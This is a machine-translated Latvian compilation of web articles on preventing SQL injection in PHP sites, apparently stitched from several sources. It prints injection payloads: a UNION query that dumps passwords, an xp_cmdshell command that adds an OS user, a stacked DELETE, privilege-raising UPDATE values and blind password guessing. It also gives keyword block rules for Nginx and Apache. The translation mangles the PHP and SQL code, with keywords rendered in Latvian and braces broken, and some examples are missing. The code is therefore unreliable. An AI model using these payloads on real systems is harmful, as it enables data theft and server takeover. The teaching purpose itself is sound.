Aizsardzību pret SQL uzbrukumiem var veikt dažādos veidos. Pirmā lieta, kam jāpievērš uzmanība, un kas ir ļoti svarīgi, ir tas, ka programmētājam jau ir jāizņem pēdiņas, rakstot kodu, izmantojot tādas funkcijas kā mysql_real_escape_string vai mysqli_real_escape_string. Ja katrs mainīgais, kas tiek izmantots datu bāzes vaicājumos, tiek filtrēts pēc tiem, programmētājs vai CMS līmenī, tad problēmas neradīsies.

Bet kāpēc SQL uzbrukumi joprojām notiek pēdējo 14 gadu laikā? Tas ir vienkārši. Programmētāji ir slinki, un nedrošu datu bāzes vaicājumu veikšana ir tik vienkārša, savukārt drošie vaicājumi ir sarežģītāki. Jebkurā gadījumā grūtāk nekā nedrošas.

Web servera līmeņa aizsardzība

Ne vienmēr ir iespējams labot visus koda trūkumus. Piemēram, populārajā Drupal dzinējā ir vairāk nekā 20 000 koda rindiņu, WordPress ir 60 000, bet Joomla - 180 000. To visu pārrakstīt būtu nepraktiski. Bet jūs varat darīt savādāk. Pirmkārt, mēs filtrēsim visas vērtības no mainīgā REQUEST pašā skripta sākumā. Pēc datu bāzes pievienošanas ielīmējiet šo kodu:

if (!function_exists("clean")) (
if (get_magic_quotes_gpc()) (
funkcija magicquotes_Stripslashes(&$value, $key) (
$vērtība = svītras($vērtība);
}
$gpc = masīvs(&$_COOKIE, &$_REQUEST);
array_walk_recursive($gpc, "magicquotes_Stripslashes");
}
funkcija clean(&$value, $key) (
//šī funkcija izlaiž visas pēdiņas.
$vērtība = mysql_real_escape_string($vērtība);
}
}
$req = masīvs(&$_REQUEST);
array_walk_recursive($req, "tīrs");

PHP 7 jums būs jāizmanto funkcija mysqli_real_escape_string, jo mysql paplašinājums ir noņemts no šīs valodas versijas. Lai izvairītos no pēdiņām, tiek izmantota tikai tīrīšanas funkcija un viss zem tās. Iepriekš minētais attiecas uz saderību ar PHP versijām, kas jaunākas par 5.4. Viņiem bija Magic Quotes iestatījums, kas, ja tas ir iespējots, izvairās no visām pēdiņām. Lai mūsu skripts nesabojātu visu, mēs vispirms noņemam vairogu, ja tas ir iespējots.

Tagad jums ir papildu aizsardzība PHP līmenī. Atliek parūpēties par aizsardzību tīmekļa servera līmenī. Ja izmantojat Nginx, servera sadaļai varat pievienot šādus noteikumus:

iestatīt $block_sql_injections 0;
if ($query_string ~ "apvienība.*select.*\()") (
iestatīt $block_sql_injections 1;
}
if ($query_string ~ "apvienība.*all.*select.*") (
iestatīt $block_sql_injections 1;
}
if ($query_string ~ "concat.*\()") (
iestatīt $block_sql_injections 1;
}
if ($block_sql_injections = 1) (
atgriešanās 403;
}

Šeit mēs filtrējam visus vaicājumus, kas satur vārdus select, concat kopā ar pēdiņām. Šī ir skaidra zīme, ka lietotājs mēģina veikt SQL injekciju, kas nozīmē, ka viņa pieprasījums ir jābloķē.

Varat arī bloķēt aizdomīgas adreses Apache tīmekļa servera līmenī, piemēram, atlasot visbiežāk lietotos SQL atslēgvārdus. Tiesa, tas ir bīstami, jo var tikt bloķēti arī parasto lietotāju pieprasījumi. Pievienojiet savai VitualHost sadaļai šādas rindiņas:

RewriteCond %(QUERY_STRING) [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z]
RewriteRule (.*) - [F]

Bet tas nav pilnīgs risinājums. Šī bloķēšana neaizsargā pret SQL injekcijām, kas veiktas, izmantojot POST vai RESTful pieprasījumus. Varat arī aktivizēt mod_security moduli:

sudo a2enmod mod_security

Arī šeit ir vairāki noteikumi, kas aizsargā pret injekcijām. Bet ir ieteicams izmantot visaptverošāku pieeju.

Datu bāzes sadalīšana

Lai datubāze būtu drošāka, varat to sadalīt vairākās daļās. Informācijas drošības jomā pastāv tāds jēdziens kā mazāko privilēģiju princips. Principa būtība ir tāda, ka programmai vai lietotājam ir jābūt piekļuvei tikai tam, kas tiem nepieciešams, un nekas vairāk. Piemēram, ir lietderīgi glabāt lietotāja kredītkartes informāciju un foruma informāciju atsevišķās datu bāzēs. It īpaši, ja veidlapās tiek izmantota novecojusi phpBB versija. Šī ir sava veida papildu aizsardzība SQL injekcijai.

Pirms pieteikšanās veiciet vaicājumu analīzi

Vēl viena iespēja ir izmantot sarežģītākas aizsardzības sistēmas. Tas varētu būt aparatūras risinājums, kas darbojas virs iptables vai ipfw, vai ielaušanās noteikšanas sistēma HIDS serverī, piemēram, OSSEC. Bet šāds risinājums ir daudz sarežģītāks nekā nepieciešams, un tas nav paredzēts mūsu problēmas risināšanai. Varat izmantot īpašus tīmekļa lietojumprogrammu ugunsmūrus, kas, cita starpā, aizsargā pret SQL injekcijām. Tie ir bezmaksas risinājumi, piemēram, ModSecurity vai IronBee.

secinājumus

Nav ideāla risinājuma vai burvju nūjiņas, kas nodrošinātu 100% vietnes aizsardzību pret sql injekcijām, lai gan PHP cenšas būt arvien drošāka. Sākot ar versiju 7.0, MySQL paplašinājuma atbalsts tika noņemts. Tagad jums ir jāpārslēdzas uz MySqli vai ACVN. Un tas ir labi, jo šie paplašinājumi atvieglo datu izmantošanu ar sagatavotiem paziņojumiem. Lai gan tam joprojām ir jāuzraksta dažas rindiņas.

Ir daudz veidu, kā veikt SQL uzbrukumus, taču, kamēr izstrādātāji nav uzrakstījuši pareizo kodu un tīmekļa serveri maksimāli izmantos drošību, šie uzbrukumi nepazudīs no OSWAP TOP 10 saraksta. Konfigurējiet sistēmu, lai aizsargātu savus datus un datu bāzes.

Saistītās ziņas:


Daudzi tīmekļa izstrādātāji nezina, kā SQL vaicājumus var mainīt, un pieņem, ka SQL vaicājums ir uzticama komanda. Tas nozīmē, ka SQL vaicājumi var apiet piekļuves kontroles, tādējādi apejot standarta autentifikācijas un autorizācijas pārbaudes, un dažreiz SQL vaicājumi pat var ļaut piekļūt resursdatora operētājsistēmas līmeņa komandām.

Tiešā SQL komandu ievadīšana ir paņēmiens, kurā uzbrucējs izveido vai maina esošās SQL komandas, lai atklātu slēptos datus vai ignorētu vērtīgus, vai pat izpildītu bīstamas sistēmas līmeņa komandas datu bāzes resursdatorā. Tas tiek panākts, lietojumprogrammai izmantojot lietotāja ievadi un apvienojot to ar statiskiem parametriem, lai izveidotu SQL vaicājumu. Diemžēl šādi piemēri ir balstīti uz patiesiem stāstiem.

Tā kā nav veikta ievades validācija un nav izveidots savienojums ar datu bāzi superlietotāja vai tā lietotāja vārdā, kurš var izveidot lietotājus, uzbrucējs var izveidot superlietotāju jūsu datu bāzē.

1. piemērs. Rezultātu kopas sadalīšana lapās... un superlietotāju izveidošana (PostgreSQL)

$offset = $argv [0]; // uzmanieties, nav ievades validācijas!
$vaicājums = $nobīde ;" ;
$rezultāts = pg_query ($conn, $query);

?>

Parastie lietotāji noklikšķina uz saitēm "nākamais", "iepriekšējais", kur vietrādī URL ir iekodēta $offset . Skripts paredz, ka ienākošais $ nobīde ir decimālskaitlis. Tomēr, ja kāds mēģina ielauzties, pievienojot a urlencode()"d formā URL Ja tas notiktu, skripts viņam piedāvātu superlietotāja piekļuvi. Ņemiet vērā, ka 0; ir sniegt derīgu nobīdi sākotnējam vaicājumam un pārtraukt to.

Tas ir izplatīts paņēmiens, kā piespiest SQL parsētāju ignorēt pārējo vaicājumu, ko rakstījis izstrādātājs, izmantojot -- kas ir komentāra zīme SQL.

Īsts veids, kā iegūt paroles, ir apiet meklēšanas rezultātu lapas. Vienīgais, kas uzbrucējam jādara, ir pārbaudīt, vai SQL priekšrakstos nav izmantoti iesniegtie mainīgie, kas netiek pareizi apstrādāti. Šos filtrus var iestatīt parasti iepriekšējā formā, lai tos pielāgotu KUR, PASŪTĪT, IEROBEŽOT un OFFSET klauzulas iekšā ATLASĪT paziņojumi. Ja jūsu datu bāze atbalsta SAVIENĪBA konstrukciju, uzbrucējs var mēģināt oriģinālajam vaicājumam pievienot visu vaicājumu, lai uzskaitītu paroles no patvaļīgas tabulas. Ļoti ieteicams izmantot šifrētus paroles laukus.

Vaicājuma statisko daļu var apvienot ar citu ATLASĪT paziņojums, kas atklāj visas paroles:

" savienība izvēlieties "1", concat(uname||"-"||passwd) kā nosaukumu, "1971-01-01", "0" no lietotāja tabulas; --

Ja šis vaicājums (spēlē ar " un -- ) tika piešķirti vienam no mainīgajiem, kas izmantoti $query , vaicājuma zvērs pamodās.

SQL UPDATE arī ir uzņēmīgi pret uzbrukumiem. Šie vaicājumi tiek apdraudēti, sagriežot un pievienojot tiem pilnīgi jaunu vaicājumu. Taču uzbrucējs var ķerties klāt IESTATĪT klauzula Šajā gadījumā, lai veiksmīgi manipulētu ar vaicājumu, ir jābūt zināmai shēmas informācijai. To var iegūt, pārbaudot formas mainīgo nosaukumus vai vienkārši vienkārši brutālu piespiešanu. Laukiem, kuros glabājas paroles vai lietotājvārdi, nav tik daudz nosaukumu piešķiršanas konvenciju.

Bet ļaunprātīgs lietotājs summē vērtību " vai uid patīk"%admin% uz $uid, lai mainītu administratora paroli, vai vienkārši iestata $pwd uz hehehe", uzticams=100, admin = "jā lai iegūtu vairāk privilēģiju. Pēc tam vaicājums tiks sagrozīts:

// $uid: " vai uid, piemēram, "%admin%
$vaicājums = "UPDATE usertable SET pwd="..." WHERE uid="" vai uid, piemēram, "%admin%";";

// $pwd: hehehe", uzticams=100, admin = "jā
$vaicājums = "UPDATE usertable SET pwd = "hehehe", uzticams = 100, admin = "jā" KUR
...;"
;

?>

Biedējošs piemērs, kā dažos datu bāzes resursdatoros var piekļūt operētājsistēmas līmeņa komandām.

Ja uzbrucējs iesniedz vērtību a%" exec master..xp_cmdshell "neto lietotāja testa tests /ADD" -- uz $prod , tad $vaicājums būs šāds: MSSQL Server izpilda SQL priekšrakstus paketē, iekļaujot komandu, lai vietējo kontu datubāzei pievienotu jaunu lietotāju. Ja šī lietojumprogramma darbotos kā sa un pakalpojums MSSQLSERVER darbojas ar pietiekamām privilēģijām, uzbrucējam tagad būtu konts, ar kuru piekļūt šai mašīnai.

Daži no iepriekš minētajiem piemēriem ir saistīti ar noteiktu datu bāzes serveri. Tas nenozīmē, ka līdzīgs uzbrukums citiem produktiem nav iespējams. Jūsu datu bāzes serveris var būt līdzīgi ievainojams citā veidā.

5. piemērs Drošāks veids, kā izveidot vaicājumu lapošanai

settype ($offset, "vesels skaitlis");
$vaicājums = "SELECT id, name FROM produktiem PASŪTĪT PĒC nosaukuma LIMIT 20 OFFSET$nobīde ;" ;

// lūdzu, ņemiet vērā %d formāta virknē, %s izmantošanai nebūtu nozīmes
$query = sprintf ( "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
$nobīde);

?>

  • Ja datu bāzes slānis neatbalsta saistošos mainīgos, citējiet katru lietotāja sniegto vērtību, kas nav skaitliska un kas tiek nodota datu bāzei, izmantojot datu bāzei raksturīgo virknes atkāpšanās funkciju (piem., mysql_real_escape_string(), sqlite_escape_string() utt.). Vispārējas funkcijas, piemēram slīpsvītras () ir noderīgi tikai ļoti specifiskā vidē (piemēram, MySQL viena baita rakstzīmju kopā ar atspējotu NO_BACKSLASH_ESCAPES), tāpēc labāk no tiem izvairīties.
  • Nedrukājiet nekādu datubāzei specifisku informāciju, jo īpaši par shēmu, godīgi vai nepareizi. Skatiet arī kļūdu ziņošanas un kļūdu apstrādes un reģistrēšanas funkcijas.
  • Varat izmantot saglabātās procedūras un iepriekš definētus kursorus, lai abstrakti piekļūtu datiem, lai lietotāji nevarētu tieši piekļūt tabulām vai skatiem, taču šim risinājumam ir cita ietekme.
  • Turklāt jūs gūstat labumu no vaicājumu reģistrēšanas vai nu skriptā, vai pašā datubāzē, ja tā atbalsta reģistrēšanu. Acīmredzot reģistrēšana nevar novērst jebkādus kaitīgus mēģinājumus, taču var būt noderīgi izsekot, kura lietojumprogramma ir apieta. Žurnāls nav noderīgs pats par sevi, bet gan ar tajā ietverto informāciju. Vairāk detaļu parasti ir labāk nekā mazāk.

    SQL injekcijas — ļaunprātīga koda iegulšana datu bāzes vaicājumos — ir visbīstamākais uzbrukuma veids. Izmantojot SQL injekcijas, uzbrucējs var ne tikai iegūt privātu informāciju no datu bāzes, bet arī noteiktos apstākļos tajā veikt izmaiņas.

    SQL injekcijas ievainojamība rodas tāpēc, ka lietotāja informācija tiek iekļauta datu bāzes vaicājumā bez atbilstošas ​​apstrādes: lai nodrošinātu, ka skripts nav ievainojams, ir jānodrošina, lai visi lietotāja dati visos datu bāzes vaicājumos nonāktu izplūdes formā. Universitātes prasība ir stūrakmens: pārkāpums, kas izdarīts vienā skriptā, padara visu sistēmu neaizsargātu.

    Ievainojamības piemērs

    Pieņemsim, ka ir skripts, kas parāda lietotāju sarakstu no noteiktās pilsētas, ņemot pilsētas ID kā GET parametru. Skriptam tiks piekļūts, izmantojot HTTP vietnē /users.php?cityid=20

    Iepriekš minētajā skriptā izstrādātājs SQL vaicājumā ievieto GET parametru, kas nozīmē, ka GET parametrā vienmēr būs skaitlis. Uzbrucējs var nodot virkni kā parametru un tādējādi sabojāt pieprasījumu. Piemēram, tas piekļūs skriptam kā /users.php?cityid=20; DZĒST * NO lietotājiem
    SQL vaicājums izskatīsies šādi:

    Pieprasījums tiks izpildīts, un skripts atgriezīs ne tikai lietotājus no norādītās pilsētas, bet arī visu lietotāju sarakstu, kuru parole tiks parādīta viņu īstā vārda vietā.

    Kā sevi pasargāt?

    Lietotāja informāciju ievietosim atsevišķās pēdiņās. Vai tas palīdzēs?

    No iepriekš minētā piemēra var redzēt, ka ar atsevišķām pēdiņām nepietiek. Jums ir arī jāizvairās no visām virknē ietvertajām pēdiņām. Lai to izdarītu, PHP nodrošina funkciju mysql_real_escape_string(), kas pirms katras pēdiņas pievieno atpakaļvērstā slīpsvītru un dažas citas īpašās rakstzīmes. Apskatīsim kodu:

    Tātad, lai aizsargātu pret SQL injekcijām, visi ārējie parametri, kas var saturēt tekstu, ir jāapstrādā, izmantojot mysql_real_escape_string() un ir ievietotas atsevišķās pēdiņās.

    Ja zināt, ka parametram ir jāpieņem skaitliska vērtība, to var pārvērst ciparu formā, izmantojot funkciju intval() vai floatval(). Šajā piemērā mēs varētu izmantot:

    $sql = "ATLASES lietotājvārdu, īsto vārdu
    NO lietotājiem
    KUR cityid=""
    .intval ( $_GET ["cityid"] ) .""" ;

    Atšķirības starp mysql_real_escape_string() un mysql_escape_string()

    mysql_real_escape_string() ir uzlabota funkcijas mysql_escape_string() versija, ko plaši izmanto, lai ģenerētu drošus vaicājumus MySQL datubāzē. Atšķirība starp šīm divām funkcijām ir tāda, ka mysql_real_escape_string() darbojas pareizi ar vairāku baitu kodējumu.

    Pieņemsim, ka apstrādātajos datos ir rakstzīme (teiksim, UTF-8), kuras kods sastāv no diviem baitiem - heksadecimālais 27 un 2B (attiecīgi decimālskaitlis 39 un 43). mysql_escape_string() katru tam nodoto datu baitu apstrādā kā atsevišķu rakstzīmi (precīzāk, kā atsevišķas rakstzīmes kodu) un nolemj, ka 27. un 2.B baitu secība ir divas dažādas rakstzīmes: viena pēdiņa (") un plus (+) Tā kā funkcija pieņem pēdiņu kā īpašo rakstzīmi, pirms baita ar kodu 27 tiks pievienota slīpsvītra (\), kas faktiski ir daļa no nekaitīgas rakstzīmes datubāze izkropļotā formā.

    Ir vērts atzīmēt, ka mysql_real_escape_string() darbojas pareizi visos gadījumos un var pilnībā aizstāt mysql_escape_string().

    mysql_real_escape_string() ir pieejams PHP kopš versijas 4.3.0.

    Papildu piemēri

    Mēs apskatījām vienkāršāko piemēru, taču praksē neaizsargāts vaicājums var būt sarežģītāks un lietotājam neparāda rezultātus. Tālāk mēs apsvērsim SQL injekciju piemērus dažos sarežģītākos gadījumos, nepretendējot uz pilnīgumu.

    Injekcija sarežģītos vaicājumos

    Vienkāršākajā piemērā bija iespējams iegult kodu SQL vaicājuma beigās. Praksē SQL vaicājuma beigās var būt papildu nosacījumi, šķirošanas operatori, grupējumi un citas SQL konstrukcijas. Katrā konkrētajā gadījumā uzbrucējs mēģinās iegult ļaunprātīgu gabalu tā, lai pieprasījums kopumā paliktu sintaktiski pareizs, bet pildītu citu funkciju. Šeit mēs apskatīsim vienkāršāko neaizsargāta pieprasījuma piemēru ar papildu nosacījumu.

    Tā rezultātā vecuma stāvoklis<35 izlasi neietekmēs, jo Operatoram VAI ir zemāka prioritāte nekā operatoram AND, un WHERE no iepriekš minētā vaicājuma var rakstīt savādāk kā KUR (cityid = "20" UN 1 ) VAI ("1" UN vecums<"35" ) (atcerieties, ka WHERE 1 izteiksme vienmēr ir patiesa). Rezultātā nosacījumam būs piemērotas gan tās rindas, kurās norādīts cityid="20", gan tās, kurām ir vecums<35, причем наличие последних не обязательно.

    Sarežģītiem vaicājumiem veiksmīga SQL injekcija prasa zināmu radošumu, taču var sagaidīt, ka uzbrucējiem tas būs.

    Vaicājuma rezultāti lietotājam netiek rādīti

    Var gadīties, ka vaicājums, kura rezultāti netiek parādīti lietotājam, ir neaizsargāti. Tas varētu būt, piemēram, papildu vaicājums:

    $sql = "ATLASĪT skaitu (*)
    NO lietotājiem
    WHERE lietotāja ID=""
    .$_GET [ "lietotāja ID" ] .""" ;

    Iepriekš minētais vaicājums tikai pārbauda lietotāja ar noteiktu lietotāja ID klātbūtni: ja tas atgriež vērtību, kas nav nulle, tiek parādīts lietotāja profils ar atbilstošo lietotāja ID, bet, ja tiek atgriezts 0 (tas ir, nav neviena lietotāja, kas atbilstu pieprasījuma kritēriji), tiek parādīts ziņojums “lietotājs nav atrasts”.

    Šajā gadījumā parole (vai cita informācija) tiek noteikta ar brutālu spēku. Uzbrucējs nodod virkni kā lietotāja ID parametru 2" UN parole, piemēram, "a%. Galīgais pieprasījums:

    SELECT count (*) FROM userid WHERE userid="2" UN parole, piemēram, "a%"

    Uzbrucējs saņems "lietotājs nav atrasts", ja parole nesākas ar burtu "a", vai standarta lietotāja profila lapa, pretējā gadījumā. Paroles pirmais burts tiek noteikts ar brutālu spēku, tad otrais utt.

    secinājumus

    • Visiem vaicājumiem, kas izmanto ārējos datus, jābūt aizsargātiem pret SQL injekcijām. Ārējos datus var pārsūtīt ne tikai kā GET parametrus, bet arī izmantojot POST metodi, kas iegūta no SĪKDEKĻA, no trešo pušu vietnēm vai no datu bāzes, kurā lietotājam bija iespēja ievadīt informāciju.
    • Visi skaitliskie parametri ir skaidri jāpārvērš ciparu formā, izmantojot funkcijas intval() Un floatval()
    • Visiem virknes parametriem ir jāatspoguļo ar mysql_real_escape_string() un ievietojiet to pēdiņās.
    • Ja SQL injekcijas izveide ir sarežģīta, nevajadzētu gaidīt, ka uzbrucējs neizdomās, kā to izdarīt. Tas jo īpaši attiecas uz dzinējiem, kuru pirmkods ir publisks.

    Veiksmi drošu lietojumprogrammu veidošanā!



    
    Tops